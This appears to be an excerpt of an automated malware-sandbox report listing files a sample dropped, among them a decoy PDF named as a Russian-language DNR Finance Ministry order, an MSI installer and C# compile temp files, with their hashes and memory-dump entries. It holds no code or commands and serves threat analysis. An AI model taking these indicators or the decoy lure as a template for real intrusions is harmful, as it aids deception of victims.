C:\Users\Admin\AppData\Roaming\WinEventCom\Приказ Минфина ДНР № 176.pdf

Filesize
111KB

MD5
79da5a4719f51837126bebd6c8f2714f

SHA1
36fbda3057119305f946a5f2949d442b33a3261c

SHA256
37309f7ea1877775b1d33e4d8fd43f5bbd49758af2c0400785d860c8036a0598

SHA512
01b6dcc10cf888084f4267b4bcc34e0b3b62ce50e09f903244757a819af83997b2fab9be755c464c89235f60f8c8383c272519950165dcad22f844266044935a

Download Submit
C:\Windows\Installer\6c6e8c.msi

Filesize
166KB

MD5
fee3db5db8817e82b1af4cedafd2f346

SHA1
e6bcf68c7d55fc933e7a7e2ca1fb4e8fa1ad376d

SHA256
4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51

SHA512
37bbe3176b6d793b2b140e6bb6989b322832bdd77869d86e071e7566902fa9f718a647c2fb347a8a79f1fd9b5d5fc376ba8ddfa516944c3134d351048853278c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC9925.tmp

Filesize
652B

MD5
66feafbeb5ab5151628b1148ebdea138

SHA1
7a788eb7039175e2624e167456f1672ed65ef9fa

SHA256
2f1998ebce77902f9808393b590e496c79c784aa53bbad495e15cd53fa2a9a53

SHA512
0025b90c9d5b56243403bcc5c29354a029dbcc36000440bc2450120daeb882dd5b074f00faa77ccd7fa3829c873aec647664bf086a61ec3edf8e1cc8b27d702f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zlczjzws.0.cs

Filesize
363B

MD5
1c84f1b08df842fa8b588b11f9221c94

SHA1
7dff1d05dfd1baa79823326f8b88598dd5cf5b6c

SHA256
c4e2044972dd7206a6561117d972945f2d4330072d4c7feea861c785576f9d16

SHA512
4b89ca9d512b1c713d6a8cb0fbb057e46493766452a850734f990bebabb00c78a12749e1dda6aa8ee4f00a0c35b7af93ae627c4e1b68b0eaca47e6b37b4bb502

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zlczjzws.cmdline

Filesize
309B

MD5
339ca1abf9c9200d6d926248917baa1a

SHA1
bb86bb0b03f06c4ed465c84d53342ee260af955f

SHA256
5ffede7e0bf5a9fa6218778fb64fb73cf751c4e0b469d49018019f865acc8f6e

SHA512
042d0ebbe414db54bfe75cdfb61bacc0e0eed2dc41039ba70977949497c8696923733507c086a783740d0cc638f2752a3fdc9276f477c04df10ef2ab47ff35fe

Download Submit
memory/768-81-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/768-80-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/1564-114-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/1564-113-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-115-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/1564-116-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-112-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-118-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-125-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-126-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-127-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-128-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/1564-134-0x00000000025D0000-0x00000000025D8000-memory.dmp

Filesize
32KB

Download